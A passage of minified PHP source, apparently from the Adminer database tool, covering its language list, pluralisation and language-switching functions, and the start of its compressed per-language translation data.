'=>'Български','bn'=>'বাংলা','bs'=>'Bosanski','ca'=>'Català','cs'=>'Čeština','da'=>'Dansk','de'=>'Deutsch','el'=>'Ελληνικά','es'=>'Español','et'=>'Eesti','fa'=>'فارسی','fi'=>'Suomi','fr'=>'Français','gl'=>'Galego','hu'=>'Magyar','id'=>'Bahasa Indonesia','it'=>'Italiano','ja'=>'日本語','ko'=>'한국어','lt'=>'Lietuvių','nl'=>'Nederlands','no'=>'Norsk','pl'=>'Polski','pt'=>'Português','pt-br'=>'Português (Brazil)','ro'=>'Limba Română','ru'=>'Русский язык','sk'=>'Slovenčina','sl'=>'Slovenski','sr'=>'Српски','ta'=>'த‌மிழ்','th'=>'ภาษาไทย','tr'=>'Türkçe','uk'=>'Українська','vi'=>'Tiếng Việt','zh'=>'简体中文','zh-tw'=>'繁體中文',);function
get_lang(){global$ca;return$ca;}function
lang($t,$De=null){if(is_string($t)){$wf=array_search($t,get_translations("en"));if($wf!==false)$t=$wf;}global$ca,$vh;$uh=($vh[$t]?$vh[$t]:$t);if(is_array($uh)){$wf=($De==1?0:($ca=='cs'||$ca=='sk'?($De&&$De<5?1:2):($ca=='fr'?(!$De?0:1):($ca=='pl'?($De%10>1&&$De%10<5&&$De/10%10!=1?1:2):($ca=='sl'?($De%100==1?0:($De%100==2?1:($De%100==3||$De%100==4?2:3))):($ca=='lt'?($De%10==1&&$De%100!=11?0:($De%10>1&&$De/10%10!=1?1:2)):($ca=='bs'||$ca=='ru'||$ca=='sr'||$ca=='uk'?($De%10==1&&$De%100!=11?0:($De%10>1&&$De%10<5&&$De/10%10!=1?1:2)):1)))))));$uh=$uh[$wf];}$Ea=func_get_args();array_shift($Ea);$Pc=str_replace("%d","%s",$uh);if($Pc!=$uh)$Ea[0]=format_number($De);return
vsprintf($Pc,$Ea);}function
switch_lang(){global$ca,$Pd;echo"<form action='' method='post'>\n<div id='lang'>",lang(19).": ".html_select("lang",$Pd,$ca,"this.form.submit();")," <input type='submit' value='".lang(20)."' class='hidden'>\n","<input type='hidden' name='token' value='".get_token()."'>\n";echo"</div>\n</form>\n";}if(isset($_POST["lang"])&&verify_token()){cookie("adminer_lang",$_POST["lang"]);$_SESSION["lang"]=$_POST["lang"];$_SESSION["translations"]=array();redirect(remove_from_uri());}$ca="en";if(isset($Pd[$_COOKIE["adminer_lang"]])){cookie("adminer_lang",$_COOKIE["adminer_lang"]);$ca=$_COOKIE["adminer_lang"];}elseif(isset($Pd[$_SESSION["lang"]]))$ca=$_SESSION["lang"];else{$ua=array();preg_match_all('~([-a-z]+)(;q=([0-9.]+))?~',str_replace("_","-",strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"])),$de,PREG_SET_ORDER);foreach($de
as$B)$ua[$B[1]]=(isset($B[3])?$B[3]:1);arsort($ua);foreach($ua
as$x=>$Kf){if(isset($Pd[$x])){$ca=$x;break;}$x=preg_replace('~-.*~','',$x);if(!isset($ua[$x])&&isset($Pd[$x])){$ca=$x;break;}}}$vh=&$_SESSION["translations"];if($_SESSION["translations_version"]!=2763095553){$vh=array();$_SESSION["translations_version"]=2763095553;}function
get_translations($Od){switch($Od){case"en":$g="A9D�y�@s:�G�(�ff�����	��:�S���a2\"1�..L'�I��m�#�s,�K��OP#I�@%9��i4�o2ύ���,9�%�P�b2��a��r\n2�NC�(�r4��1C`(�:Eb�9A�i:�&㙔�y��F��Y��\r�\n� 8Z�S=\$A����`�=�܌���0�\n��dF�	��n:Zΰ)��Q�������Ak����}�e��AD���a�į���\\�}��5�#|@�h�3��N�}@��i����˞N�t��~9�����B؍�8�:-p��KX�9,�p�:�8��(�\0��(����@�-B�ƎN���@.��9�#��3���Ӊ�z�7:���ތ��@�F�.1�����\r\"�\"ӈ#c:9��;�R��Т�<;���چ\$#�΁!,�3����2ȀP�:��#ʾK#8΀����Ac�7���� -Bμ��H���3���£�ǣ;�,��|�:�R�p9�m�P(��\\6�md�:��ƀ�-����M,�K�A#FN��_T�vh���K�.#gfX�x��2����Q`P�<�2�v�.X��)ٶ:�!�2�J� �[�3�b�ѹq�\n���z5V�(�&���3T�l����O�[~7'���3�p��t.�xN���%��-�MA67V\nJP���\r�b��#2�x�����;�̳�j֔F�=���\nNN64���J2b(���e8Ɯ7%	TA*\\Z�����Ѐ���D4���9�Ax^;�rA���r�3����G����M�ʎ�о�7�XD[{j:�x�'��1\$���0��x�k8V����*!�\"��Ȕ0./#?�� @�����i�@(	����O0@(JD��Y�L�f�vs��Z�z��L2T�%Ɇh6�򧙝&~�J���ɩ5h�U���겎��/D@�b�HJYM/� ϓ�M�������Ic����hi�%����˜TW�Ţ�\"j�L�FF/-*�g^i(\n�גS���W�y8J��7�d�EC;FU��2F���?�n\"�I �Dn%9p�ZX�CC�(�(��xNT(@�(\n� �\"P�d�\rᰗ��Pi‚(a_H��4S*l'�4�~N8f*���sg\"�c�K!�RR�Q�樣�tq\r�l�4���B�Q�(?kE��j��=W�\r�\$�a��:k�e�D�0��\r����Xi4G����~b\${!�:��`èg\rM�w���OOH����\r��IPaE���%��'F��&k3�!5?S0�>izHV*�%X4�z�dT�\r�ཨ��}=5�=6�P��C�A��)ʲm�� �R\\�O��~`�U�dq�\r�L'�\0�#hrGe�)/��~B)�6����gN�~K!P*�/�t�/c�S{�3�\ro#J�I�A���A_wM\$�����^�-,lԐ���Y��\$K�&� a����.��d,!���R��C��k�h'�83RP�kS�V2��=l+�l��q�X��f�zce6§#�G\"�/(����U[���xE4�H��eWY_x�~B�t��������~��!%��bk�g?!!r�β%.ѝ���b����)F���o��'�%�č��C�X\ne�\\�Y��/���3�t\n�k	��b��v#K�o\nB:��pԖS+�YE)�:�(��������6'� ��%��[T���cM�q9~��0I��Hdk�\"��\$�<�X\$�ٗy��F+�2`L@d}t�Y�bh~3�kZy�e3�Q]&�`�	v�lݙ��h�˱j�\\͝�к;>���/�UV�JB7�Mm�IA��a�����Ϛx�j3��-��V�jp�e`��3��k��λ�W?�=�N�֝}+�H�:\\��Y�Anb\"R\"�̧9M����	�H�!�b-%�;š��k�ע �m�dmm7��)'W��6ý)�scsN�2)�����%fՑ�~��\ry���t��_eh�}F�n��;@�\$��*��⸂gr}��%�[ka��3�IN�u{��)U9K��U܆���F��CcD�ư�4��٧��mU�r���?L�7]9�N�\n�+�#6ẉ㤑:)�q����?����7\n��{r=]wt�󫵞��z�f�=cKF���Y}�[�e��d��-�X<�T�j��rLE�ҧ(ش��O%���@���v?WO��-4�����9�<}t�އ�q\r/�>x% �_��8G�\n�f�iُij�(5�b.���0l��m���un�#��1b2\\KhK�ߗ��Ke��x,9:dfmI��)(h6�H\r �\rm�\$iL#\r���\n/�'\r�F.�`��Z�5�\"�^�.�Z�O��� LM�G�'0]�i%D4�\0�Nڠ΄?#j���)��kV�0`�N'�\n%	\":**%�\$s	f4�;E�b \"JJ>.l\0���I��P������r1�D�p����;�o��3\r����@\n\rд�n>��ȥ���̡ �@�h�@@	�6PjJ)�e���4�0�R?�З�v\$.&K	��b^�I<cbvK\"�1Jc�\0.�m�����?�g\0ǖ܍�͑f�@��^fQ0�E�d��D���Y��\\�)�ԫC.�J��ZGbL�H&*O�Q�\r���Ѯ�";break;case"ar":$g="�C�P���l*�\r�,&\n�A��(J.��0Se\\�\r��b�@�0�,\nQ,l)��µ���A��j_1�C�M��e��S�\ng@�Og��X�DM�)��0��cA��n8�e*y#au4�� �Ir*;rS�U�dJ	}���*z�U�@��X;ai1l(n����[�y�d�u'c(��oF����e3�Nb���p2N�S��ӳ:LZ�z�P�\\b�u�.�[�Q`u	!�)��&�<�q)�� ��F>ء�Ps7X�5g5�K�K�¦���0ʇƢ��\nS ��r\$��j�(�v����!Jb����q��0\n�����V�?�\$W���F��E{��-�:>W9�J|��eRhY�+dxB&�[�*��l�ꎠ(B&�����4S!���dPB���=�tO�	��?�:�X��ؐ�eJ	\$���\n&�3ޜ:������O�K��Ь�J�X��m\$*��!Rt�.�\$��TIn�Q@��\r([O�eK�4��1�����Ȓ,2N�?N-�2�<��|P��5jp����iR&�Zԏ=\$R���Um)a��lOd�e6!�^R���è�66�^��c�0��r)�\"eZYW���NR�<�!�jh�<l�W�L��5��=�8���M�l[ܬ[�2)�G���Yn��qf1A�T��1��3pSw�wWHumSئ��#��GN8�;SͿ`MYuZ�h�p�:\r�S<�#�J7��0�팬+�U�\r7&�P�7�m�<���9����c5�\r�x��ach9o�0�a\"׃k�:�a@���:Y�)�\"����#�V��\0�h�k޸����3\\یE{z�§4Fِm�\"�;�����d�B�C�5��(b�Cf�\\A��\\�mt�Aѕ�f&�#�v95?H�;��x2��ӱ�hx0�;�Ah��80t�xw�@�0�G,�(r��3�����x7m�4��0��r6!�\0󆾃X\"�\$6�^`�t��0��lၽ\r��ڂ��(i���h ��O?d���JOڨ1�i�\"���J?�D�\n�LUI*C�mr3��T٩\r��3�`�kPt�Z1���J{5jj]���\"�Pd�T�6��3�+l�F/��(e��#���s��i�2O�7&a\$��> iW��!�8/\r�lA�:�(���o\r�� ���\r�����i,_i���6%�gp�B�O\naP��4���&2i)�5H^ҜL(��,�]3c�i!�>n��±�Jg^8�v`�+;h5�\0��_!�����A�A�3�\0\0f5Ɣֿ���	\r��4�����2�W#I�i�B�TV�ҴB�FPj����P�xNT(@�-8�A\"���P�Pg��z����-р�tD��3L�+}���C0a^Q;�-X�uJG([R�)�\$.�Zp��|\\��.(�)2	,���1H��1T��Լzc�69��Pd#�Ld�X���e�S-M�RXK��3�yR�ٰ�Ũ��ԬH�ui�z���d=�uM�Zbl��.!�'b��V�ar�c� ��E��O�2S�cO�\rA��\">'7a����g��WY\0��C�eA]1|��e5�݆FH�A�̑���oc˓�S�����iSZ\rQ�#��L��&¶�	46���(,yS�u�[I�o*�̓Z\\N)�:���!%9��sƑt�4I�P��9M��\n�^QH��%ɸ,6���[X2H�N����;(=�&t�O Aa KH\"M�	lF�7��n(�e)1!����Z�9������ �]������2�����`�s�/1�he\$����	12�!L�y`�u�e��k�����%��AU��D�R��!(�����>��ZCZ�ӥ�N�2(��-Z�e�2�;�Ǎ(�>�{\\�25:�i01�PBL����Ld��t3s7J_M��W�S��EJ)��c��Aj\r`����sE�\0�i‚�nkI�%[��bUEv=�;��0���{�x\r��jI5|e���QvPQh�K��T,yM�'�\rXɞaʮ�r���p�_D@u(��5g������Ϧi<X[K`�H����'�f4:��lUOL8~:��%I!�����b|y5aC�+�YDxK�a�Yb�(:�d��_x����[��؆3f�]�z.Đ��0���Nԩ�Z2�iP�)��K���i��)?L|��o;f���y�!���D�=���(.��\\\$˽'�g�s�W�z-���ΠH�n9����U��L�bD3���_Mh��b4�����C��.���G�*��T>���<|P�7Wy�~�T��ä�\$���>/�P{��`�D0k��#�e�DG*���10��\0Χ�?���-X�ʙ\0\"\\�+-\0�H�(u�(/��wPIҹ���6�<�\nR�L\\.o�O^��\\?.�LHQJ��&����&/���V.ETR��L������Бк)�F������.�AV���\n���评�	@���	�f�P�\"k�]�H\"nhʬz�M%fb�U#��h�\r��e.�����.+l�P�望�<��\r�Bn	o�v\"�h%�E+���e���氢H�wèG����цzno�R��AQ�d����W�I���CC�X���%Qn�Q�YѴ��.�d��0Pq�C���[�_�8\\��e�Cpc�W���d�D���ˋ<K��L�[�>*���-N�Ad���R�r�\"�N��ov1����/'(�ˆ@�\n��\\Yj��Z�\"i\$nLc�l����t)/ľ`�@�i�\r �\r`@��\nʬ�xn�v\r �o�&`��h|��\0Ĉ*\n���Z\0@���+#��/��d���%�#�~0�FӋ<[�b��1@�+2�'��a%8��@e�'�.2~\0D�@=P������M��>��(�R����b�>����R;��5H|~#J7#�D�/�6[\r�T��⍺:��0N�\r\$B��}N|�C��(�1�8���^��4CI,�ʘ@�\0��K��s�9����x²���L�9s�����\" &��)�\\�vB�>g]h�?谐��4�K/\0}�\r*̾�\0��\0�@� ���\r���2j��H�&��v#��f�d�����1�|��Jc@�n \$�D�9&n2f�7CJn�A3�*�E�T8��#�Z�z#��D\\	\0�@�	�t\n`�";break;case"bg":$g="�P�\r�E�@4�!Awh�Z(&��~\n��fa��N�`���D��4��\"�]4\r;Ae2��a�������.a��rp��@ד�|.W.X4��FP�����\$�hR�s���}@�Зp�Д�B�4�sE�΢7f�&E�,��i�X\nFC1��l7c��MEo)_G����_<�Gӭ}���,k놊qPX�}F�+9���7i��Z贚i�Q��_a���Z��*�n^���S��9���Y�V��~�]�X\\R�6���}�j�}	�l�4�v��=�H���D겹%�>L*H�8�@�����P|.�3d��m X���3����!r�'HS���1k6A>�¦�6��5	�ܸ�kJ��&�j�\"K������.-��:�Df�5Mb(�<��O�h�(�G�Zi2=�^�����9-bk��1l�#��j��4����-jAA1c�A/�K��Ɓ>�BO��Km\r%2!1<�h1���\\�hF�\n���O��K8�&�,�(�,�����\r*������t�ᬏ֮��͓N�m-��G���C\r�Y-���>��02!�R҉�!-�K�j�l�W0�i7.L�%��E0�D��)���hTjH�V�˶�4�F\0ٸ((@6���5[�Z4��T��/Ϳ|K��M��W&��*O��jT�-���m��<���B��&!�����H� ��ȊNL�}'ȭ\\Ψ��M�^�-��Au���eGf�P�}�T������[N�Uw�O�X/_��qU,}����L�#���n�4���B&���\\��`��/�lY�O�kO:?���mSP�	�[���� P�:M�_\$E�k6�!�z��\n�<�����h��3��%i�G��ʪQ��+j��l�ZDj���Er�X���]�j� ��\\�N7�f�r��/>���I�|J`�6���c�9/����~�K���w��zHڡ�,�FO��?YF�����#��.!�ܒ�W���)2�Q���Oع�I�G�|j�7����p\rC�/D�s0\\H\nL@P��HT��1x �\"E�TX;���'➞	�'�4�5��cF;A�^l��*����C0=A�:@���/��F��hi\r��9���8/��M��&Øi\r�p\0�d�e�/� �Cpk@�h<U.UO�,��0�����6c�Ը�|#��-6��9T�f۬y^l|�f\0��ˍ[�)3��)�;��Q��nT��W+'0��je��R�q��ґ�xvF͐)���۽\n (N�#g�S\0�����r�Nd�\rGR���J�Y,��B�I�up��c�RZ[6?˦��4��j-��X�N��CJ2'��\r��\"D���N7�E^0c��S{ g��(u��::JX[�\0�\$\$�����!Gz�L��0i�T5ʂ�{��S6��\nt]y�摣�T���Ϧ��8V���|E�,�5��O��m�5���!~=���j���N�&rV�'6I�Z;�Bǖ@њD8HE��j�����膿�^��2�9�9��ʁqnE�ƚ�BG�Q�G)�\\�x\r[uv7C%*K��;�5��ה�4Ί���aO�j�JO h'�<ދ�д��Մ�F�B`��R�A9Ի<@�i�#�zB}}k���Ae	Kɼu���U0��f�d�DB ��dUwe5Qb�c£u\n����>�UբE��B���V*��b��e��qX��,ZHSi\\Ȗw#/�,�\r�gMJ��ړ5f'7ڍ4 \nn-���3����T+V��S���fR����,A�M��b���w�q�geo�zG�\$ԹlO����O3��Ϫ)����u�Ē�q{�I�#v��\nb��^�Aψ�\\�A,�j]*��%~��f�ʊNXZ�9f�(L5�?�)��!��)�>�n�g���pmI+�\\����u����ஹ�\$JE[�Գkv�gL��8w��9sC�˿U:���#!9t�gئ���o�9]ݵF�S��F� �@�BH�:�@�f���7��GC�p^O�H�W�B���p��	���h/���ں3M@ɓ�7��`�,.8e��sD*��+����[�,�G�,�e�a�y–J��ΒX�=��*6�^�]��^�Bs�N_4q�����[ۺy����ݺr�}����vG�ݷS��2{s��g«`�_�5u<�5k�'pyR��A���j!�\"�^�_��O2�]^����;�A���~@\":wZ�W\n����MQ��ԅ�K���+����)��/X�Ş����=�Y�.H/e���a@\"�+�q��\0#%/Q��Ҙ�f3���7f\0&.�.-[J��/�L�ތx����ho�b�ʌ���a%/��x�e~��6B��Id�)*�v��R�����k�TJ:�f*6%t��x'%zݐz��[�8���/,�cjCN����l��q�L|�h&Y�}\nMdD�,�P���N��\0R�F*��h]0A��p�z=,^TN�/���O�ýAG�,��s�q���uf��HF����<o�p�lUL�u���.}O��D+\$z�^ސ+oQ���5���N�02����3��r��h��3\r𚥎&N���;�+�jn�T1�Bo��e���d���)ηEG.��K�8����?�u0�%-qK�y����上�ڱ��}H<�mMj�H��j&�����<',�#|���R�h��@bBl��Di�R�Ƙ�+����Y˻kʆdR�eF)G�7���En��Q�v0��%��ح�mGbۍ���%-jv)lլ�P�P��/)�M*ܯ�COܬ�)�M�c�f�%� Q=\$�/*��s�fO9�-�ǯJu�-�~2*Q0�Y/(	.�,0/,n	��k�׆�߳_6�� 2��&�Nda�C�#racz������H�NX;e �,I1���Q�**��=�3r��/�� ��ʣe6P,�s�e�4�_M�?�8s9�s8����9S*�D�_e���-9e�63�����+m�ܦr�FN:�3\r�v�	�5,�*=?\n��93+�G�s��dBT\rˡ*t(k�qI�A��@p�s�y;���>���ް�7�(�p+����@�CA&73���9-�jt�Y�b���b��TgB��6�`έ�Eԏ��8'�I���(}.R9PIG\r�;!J��;�)DgGI�q41�b��2&g\"İ�hy0ԡ+S�+T�b��ĸ4��.l\n�To?�O4�O��1G,�����M?:��*L���M@�<��7�M�>���\$\$���u<��إ�����/�s\0�\n�Dv�n��&�`�UFg+�S��oO�\"�ѧN�MW�p\0�������w\0�b�:bb¥���B\$�+j��	�0�D���c%\$+i@@\n���ZL�HF&�r(���T�D�pC�tT��_2���W-U�s�����*����'d^�iG��\"=0َ�ˊP)c7`�#i:���f�E(|��VD��H��\r/҈qLhE�YPjt�7>la�\\N�a��h\nF�&�H���rp2h\\��\\0dC>'�c!p�ԝ���}j�UjЫkPI��k�-<hl0��g��rs�j��YqQ.����k��`��%��4ʑQ��o*ʺ��-��I�Z�ExY�[0Sp��b��QG��ľȱErm&��?GWB��4v\"�E.�� n��݆LM�+4�α\"p� ��\$�<Jva��o�p5h�4�w��9��!-�����]N@��X�G��0I�Q#(�6�0-F�ot�s'GЀY��4�bS!{v�\\�Tu�IE>���=/4�a%5u�I%�8\0";break;case"bn":$g="�S)\nt]\0_� 	XD)L��@�4l5���BQp�� 9��\n��\0��,��h�SE�0�b�a%�. �H�\0��.b��2n��D�e*�D��M���,OJÐ��v����х\$:IK��g5U4�L�	Nd!u>�&�����a\\�@'Jx��S���4�P�D�����z�.S��E<�OS���kb�O�af�hb�\0�B��r��)����Q��W��E�{K��PP~�9\\��l*�_W	��7��ɼ� 4N�Q�� 8�'cI��g2��O9��d0�<�CA��:#ܺ�%3��5�!n�nJ�mk����,q���@ᭋ�(n+L�9�x���k�I�B��4��< �� ��5m�n�6\0��j��9�z�� �,X���2����,(_)��7*��n�\r�%3l��M��� \r���m��K�Kp�LK��C	��S.�IL�G3�W9�S��2b�!���|���;I7����#��=��M�T�R�/�\rҞ���Y'ERj!*����؃�5eO�;w4�Ӆ������WF��,��}!ITd�X/�Z�*5�O5�SyB��+e�Q����1QT0�*�q��u�y)�M{S�M�!�����E���LPG�5�E��0D��{��DJQ}�j}�X4E���.:��r*��Ԗ<|T�f\\@�c\$�W��HK�d����9s��j�ل^r��γ6N���{n��`���Sk�wE+�%����V����+�d�U���7�k�qT	ۑ�ѐ����D��ˆ�nzݏEn@�:��c�\0��\0�0�ш�&�rc|W��zd���|U���*���e6—�T!�B��Mt��\\�v�1T�M���]nI�S��k��3zk�Č1O��>�]R��-ˇ���������1+|���CX���MJ|�Y_��Y�7+�'���iz���WȓK�n���w�*�\r��9\0��w�r<��3`؍*P���L�_�T\r�6����na�1�3��3��7�th�a�P�0�pPg�6�@�~�@s0���7�)�\0C\naH#)f�kKq)����bV�Q��/A���4.����z�ړwdj4�ܝ[��[f��:�TC����\\(Œ^�I\0��`�/�X��J1������r=�9�p���e�4� ��\0<'�`z�@t��9��^ü���2EP�C�.���P�5C���A�7�pD�Ñ���/�'8�>	!�8��5��<��;��ogG�*�yHt=B���!Q���D���K�:�*P��4�\$�_6J�1�Q\n��)R!���N�A�\n (*d0�K\"�����3\0\n�)�H�DZ���&/*�%L��*�xO�t�8�WR��,(�c�V�\n!3L���r��9Y@�iŽ����	D5b�P�i?%�Tk >QV�蘌ûM�䬧u�kؑ���Q�b�H�y;��2�ty�s���(DC��A�9��ͅ��M`@�%�>vVU�T�҉@d�\0^\0�˜T!��Z��9N�>�[DY�mj�����R�:�a˖����!����C^�W����C���` �a�4�p@� Ǵ��v��-s��4��_@�\r�~�#�4K���-�Ө�XcA:͈�㈺T`�)�>ݾ�1��r��L	n��ʬV�W+khqKp�)�6�g�0�)j (\"P�\\���6Y����z�O\"��;��XRkM��J��D\$I�+�Z)��\"��8evٙ�J9�\"����X�/d���ns�tMO�;�F��rP \\�%E��|���BXg�ps�Ă��N4ː� 4�ú@�@��C�3�Hp%����n�ҕ�)���5���S4w��(֜0LYl�R�u�:��%;Һ[V�Jo��2�d�*ߌ�_!�R��r6|�R�ϙ�<.wڡ+Q�ɒ�}ń�ڌ�n�Y�v��Hz�(!�����S��1���ՙ~���S\nh�g\"�V}a���ܰDL�O�rh�\\�P>c�;��񂇘3�����1ǐ@����X��q�O&[�%`��nL9�GR�}q��j��8St;X�z�zN!�fZ`q]V`����/���l���,|����OHiE5��C�KȦ3Ѥ�&�8�4}�w+\\��=Y��!P*�����ިDyC}�>���YoJ��!�h^���4.Ѧ2)��@�N�o�,�D�{Et��r��]�0�F�BlOK��sZ�_;,��v�pQ�/�� C��|Q����:��-N�l\$����\r����ن�:��|k�F��\"X������>7��}��tO���ݯ��ߴ�b���s�B�/\"��Z��FYO���:Jh�����/�\0�������e@������\$&�hE���d�L�&SG~`FdWM�X' ���0,��\n\\�\n��`܍��H�k���.PXP�La�-�`e�Ve��B�~B���:G���\$�2j�-�5N�\n�ȼ\$-�(/��*��.�	��\n&�L�o�ej,�N\n�aLfd�7&��/��0 3P�{/f�Pxf\"�I)E.6�Ps/�q	�j(�3MjI���kq?����-�d����wI����dc�p�)�cco��\\�E�{�w��Qh��X;..�/�I�����R�����zΥ�j*~�g�*�N������D��g���V��[���`��jU2H�P1�Q1=�h�1�0r�\nv�Vw�W�@d����&�Ģd���H'���q�,�\$E�~1�VN��X�Bѡ%Q�!��βF|��Υ'2Qd�G����0�;1��RWrB�O�I���\"ᇳ���u�t�1dmH\$y���q2�,qzPr�+Qф�1�(���2ȣ�R�N��[��'R����\"��O�ko���X��\r���M!2�'s�q�G[1��h��Ow2*c3�b�R�y�JJ2��	2�'��6[(r�.�6{38�r��v��*��0r�/r6g��m�7!R���8B�-\$�,����n�'��0�-�j��,LGȓ.���3��SK*�P̲�\$�:�7�\n���dì2��Pe&Ԣ\n�\r̰Pr�l\$t�Ps_9n��|ƥ�>�K�&T��_̥\"�kNtm�ׅ�ca8)�3�&K4[si���7OyF��9s�2��G�Q9MGN��tN4qqs%3�-�-Ԙ�� �C)��Fs[T����IeHt{8ԗLQ�E�\rK����ٔ�H4��.��/������w\r&�t�/���LV��@Ͼ[nrGD�B�8�n�&a+�u6�	(�Rn��Դ��9�YSQ�S�\0jMB�4�H�}?校�_F�箚��V*%�x�QV4�[��U��L�}V��n�q*uw5SHN�/ł�p':�L�L(����I�q+ԥ/\$UK꜏����N��L�T�֪\n\$���Ku�UmJ���u�^W�CXկ]͒n��{Q�7T�<b[[�k%W-��^�2�!UL�\r^��9�_Z��D\$��c�#<��X���tB���vGsqF�}��QR�_��ԧ2�\$n�cV	UUEK��d�1e?vkd\r�gI?g��N�������RZ���aU/+�oH��I��^5Ah��k�}k�i��f�Gc�����13���k4�N5�X�<�A43A\n0SI�s4�)FgK5�8��\0W5�~W\n+�Lgs3��g�YM��**�\$��Ma0��]s1su�4;sff�c��O�Ϗ}l�.h8\r�V�\0�`�	��@@�l�?hh�@��n�\"��芀�\0@J\0\r�@\n���Z\0@���y�j.�a>�q4r1>mk4����u��h�rc1B}�\r~��_I�e���M(iv>5sйG�B��	��z0��5�*�������jD�#:�-�,�qv��qX�\0%tv\rrL5V�d3qb\0���tF��\"-�o�б�k�K�\r�^<��@2���0�p�/���dŒ8�0;Tes���)0T��cΏs��g;��.8���/b��\$Opֵ\$�YS60\n�0��<w��L\r���@�O�x�Ts���}�m�qkn��IB�‰��)Ƙ/#��j�`���F[yA#g_�\0`\r�+���&�u���R\r,��/\0���@� ���\r��8���uq�(��sL�ʒ`9�Y)�8�/������<2^RLɌxˌ�H[u���_���t�&��ވD?#Ȇ�s�yy9�^�__&�OI!�KuW5dEP���.@�	\0t	��@�\n`";break;case"bs":$g="D0�\r����e��L�S���?	E�34S6MƨA��t7��p�tp@u9���x�N0���V\"d7����dp���؈�L�A�H�a)̅.�RL��	�p7���L�X\nFC1��l7AG���n7���(U�l�����b��eēѴ�>4����)�y��FY��\n,�΢A�f �-�����e3�Nw�|��H�\r�]�ŧ��43�X�ݣw��A!�D��6e�iM�~�}œᣘ�!�2M�!���P�IW�I�K����l��m�0cL@�#A\0�24��*���#�\n��<M��+�s�hr�5����ү#��*#��ˢ8�B���/+������_ P�2��`�G\"c��\nrڋ���f9=��4F�N,X&'**����\n��2�� 2�j�5(���G,\"�\$���>��R��0���~:�c�:�Bn�\r3\$3��\$�?��l�ςp�� ���+�� Ę��M*R�R�MR��4�SZ�è�5�l<�.���z�#��'�#<r14�h�2V����&+��0��Pꚺ:ڇqȈ:Ϊ2D�O�c�c[&�Y�3�6�Lj���m:.(���z�#������/�B���L���AR��77/Ҿ���@�6ς2��PXv ��઼�˶�r��B�v=L&N��+c�t0d���X��8�4ԬN6G��4,�3���	����hڍ)8�9����c0�6 Cx΢�ab�9j��¢��t0�u�2��R�	�+-�H �)�B5�2������.	�@3bc�\\*�#+У@s;,�\nӡB��mU���֌��3��t0���Bl��M9��2���p��42c0z\r��8a�^���]dn2H\\���{��>�4��p^]�R:x�n�\ra|\$܍;7��^0��SW\rX�#8���\$��U��.>���#�IJ�9�M�9��f�)tDp���N�W	ʸ�6��8!�����Qٳ!4\n�ebF��zN����FO).K�m�6�M\0C��.�9N\" �	�<1��+7\n}H�7��L��H�yha�4�B�n@��� �C���������6G82X�ca�X�!2�{H P	�L*!(C˙#������� hH��X�L\$.w��B�`aU������i\"�s%�dͭܬIb�h�p�\0��y�!���`�ׂR+��`�Jz�]\\D�N��z1!L��b6i��	�8P�T��2��s&h�4��\n@T�\"���:�d�=��&�Ei=�`z4���ҭBhZ�-������\"���|�Z�B e����C,̎��~e�&F?��\$o�����A\0gXt��&�pN+�|&%��F]7��Y�̀�A��ǡ�3l��Pf��Y�l?�F�ٺq�y���-��w|��l\r�n�+jjO�찚�|�V��RgO�	��ML�P��� ��ղ�4�h���^�l��NZ��y�7̱�E��\"3à��pnu`����yO9�ci��2MQ���XJ�Y�b�O�\r'�5\"�\0�	�(��5���\0PC4�����K�J�Y�k��>P�(f&�@�vN\nb&%��VRJM��bd|%�QN�.WCH����%�>�\$�ڟB�T!\$�\rSDhќ���A�\":F…��bS���C&n#؇�3�!&%��9sZ�LEl�o�F�px.!WclV��q�'PTP��g���R��\n��u�&v*��P�a�23o�J�C�\\ �\\k��A��z'�æ�(���2�C���M�r��I>Sr�W�,���v 9Kg��s��eYĤ#\rw�bp�tH��O*����BI���):��	��֖�A��J\0��:IG+	o�	��|T����;� g�i�9F\rL\r~�;���|S8t�7l�U�{,�sRz\r҇��Z2vڰ�wk��.Ԓ	)��DS.N��[|�n�㍙��9����ŏ���n�j-uh�M!m`���4Te%��\n�M��&GS�P�n8��	6��ڦaUq�!ĸ*Qv�q+m�D�J4]��KfLn=�7�N�ǟ��}�r��!\n�s��s�����PO�1.bAɊJ�ӭ[���p��[�7�Q%ݛyo�S�i�z����� �{�G�YwC������������V^ɥw��?I�!v�X�HopsԺg��n��q���SΔ>����#^�l��q��\$5��ۖ���!�1�(\$qJ�g/�\\0�eZOJ7�(��{��o�y ����m��*ȅ\$~	�]��DA�S[��{��G=��\"J_C9�|�j��cM-���{�D&���R&\n��o��澨��n�*�7p�������\0,�P옸(�'X���a�~XI�a#�Lb.A�nN�\$J��������2���r�y^�4a��k�V���84DDknl���됛	�YP�먞�P�OjhE\">��<%�x��o�\$�!\n�s���oP%ИPBeBe����%�=l�N���Ƥ)N!��C�.��80���O]� ��M������0��\$N<U�Y��X�.6�\rq�1ZC#�C�'�\\?D1�\0���o0.0z��\\�\"��r�e7��D8n@�΄	�ZkO��0LC��O�^g`Zee�Ob4%*1Ex7�6@�|��E\"3���#H��1� �,�2d~\r�Vt�j��>�0d�N�9�\$U	��P��\0m��\n���p�d(��%�h2�|�hx�,H�,�f��B2��\$���(\0��,�ELa�`Q��'����1/��ĚC���\r!,���6Q��D&+��G\"��#����e\$�2�(��?\0�\r�Ь�BF�5�&`ƀ���f\"�`�nT�R�%r�`�&\r����䳒R��\$��-��A02��\0��0���Y/�P��V��jȀC6�F��DFZe�f���3>��^[�XD4.�\nC(��dv��.�<@��\r ��L�@�D�;1fx��'��PTp��#�NXP\n��\\-�&a�\\?�N(��!e8-��g.��C.�#&�H\0�B�6@�\$CK6���`�@ɖ���!-F�E��";break;case"ca":$g="E9�j���e3�NC�P�\\33A�D�i��s9�LF�(��d5M�C	�@e6Ɠ���r����d�`g�I�hp��L�9��Q*�K��5L� ��S,�W-��\r�<�e4�&\"�P�b2��a��r\n1e��y��g4��&�Q:�h4�\rC�� �M���Xa����+����\\>R��LK&��v������3��é�pt��0Y\$l�1\"P� ���d��\$�S��L�\$�y�����)�n�+Oo���M|���)�N�S�,�,}��t�D����\n2�\r�\$4�쒠9������I�4��\nb*\r#��)�`N���(�ˍ�(9��\nH�0K� !��K�D	(���+�2��� &?��P���H����\"�C�����P��#\n7,��-#�zp�EH�4�cJhŠ�2a�n|�4�\rZ�0���9#�����P&���A(r�1��S!B1�[C��rG���5��K˴�@ʡ9�(�C�p��EU�s�B2EY���3L�+%�(�1؃��zR6\r�x�	㒍ZL��i�ba�V����Q�:���( �Ӥ�[Y�@�� �(�hZL�@)�\"c\"1�� 